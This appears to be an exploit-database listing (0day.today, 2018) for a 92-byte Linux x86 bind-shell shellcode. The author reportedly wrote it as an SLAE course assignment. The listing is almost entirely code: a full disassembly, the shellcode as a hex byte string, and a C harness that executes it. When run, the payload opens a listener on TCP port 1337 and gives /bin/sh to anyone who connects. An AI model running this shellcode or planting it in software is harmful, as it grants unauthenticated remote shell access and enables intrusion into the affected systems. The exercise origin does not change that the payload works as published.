Linux/x86 TCP Port 1337 Bindshell Shellcode

2018-04-19T00:00:00
ID 1337DAY-ID-30215
Type zdt
Reporter Anurag Srivastava
Modified 2018-04-19T00:00:00

Description

92 bytes small Linux x86 tcp/1337 bindshell shellcode.

                                        
                                            /**
# Linux x86 Bind TCP shellcode
# This shellcode will listen on port 1337 and give you /bin/sh
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 92
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/bind-tcp-shellcode-x86-slae-assignment.html

Disassembly of section .text:

08048060 <_start>:
 8048060:  6a 66                  push   0x66
 8048062:  58                     pop    eax
 8048063:  31 db                  xor    ebx,ebx
 8048065:  53                     push   ebx
 8048066:  43                     inc    ebx
 8048067:  53                     push   ebx
 8048068:  6a 02                  push   0x2
 804806a:  89 e1                  mov    ecx,esp
 804806c:  99                     cdq    
 804806d:  cd 80                  int    0x80
 804806f:  96                     xchg   esi,eax
 8048070:  52                     push   edx
 8048071:  66 68 05 39            pushw  0x3905
 8048075:  43                     inc    ebx
 8048076:  66 53                  push   bx
 8048078:  89 e1                  mov    ecx,esp
 804807a:  6a 10                  push   0x10
 804807c:  51                     push   ecx
 804807d:  56                     push   esi
 804807e:  89 e1                  mov    ecx,esp
 8048080:  6a 66                  push   0x66
 8048082:  58                     pop    eax
 8048083:  cd 80                  int    0x80
 8048085:  53                     push   ebx
 8048086:  6a 04                  push   0x4
 8048088:  5b                     pop    ebx
 8048089:  56                     push   esi
 804808a:  89 e1                  mov    ecx,esp
 804808c:  6a 66                  push   0x66
 804808e:  58                     pop    eax
 804808f:  cd 80                  int    0x80
 8048091:  52                     push   edx
 8048092:  52                     push   edx
 8048093:  56                     push   esi
 8048094:  89 e1                  mov    ecx,esp
 8048096:  43                     inc    ebx
 8048097:  6a 66                  push   0x66
 8048099:  58                     pop    eax
 804809a:  cd 80                  int    0x80
 804809c:  93                     xchg   ebx,eax
 804809d:  6a 02                  push   0x2
 804809f:  59                     pop    ecx

080480a0 <loop>:
 80480a0:  6a 3f                  push   0x3f
 80480a2:  58                     pop    eax
 80480a3:  cd 80                  int    0x80
 80480a5:  49                     dec    ecx
 80480a6:  79 f8                  jns    80480a0 <loop>
 80480a8:  31 c9                  xor    ecx,ecx
 80480aa:  51                     push   ecx
 80480ab:  6a 0b                  push   0xb
 80480ad:  58                     pop    eax
 80480ae:  68 2f 2f 73 68         push   0x68732f2f
 80480b3:  68 2f 62 69 6e         push   0x6e69622f
 80480b8:  89 e3                  mov    ebx,esp
 80480ba:  cd 80                  int    0x80

**/

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x6a\x04\x5b\x56\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}

#  0day.today [2018-04-20]  #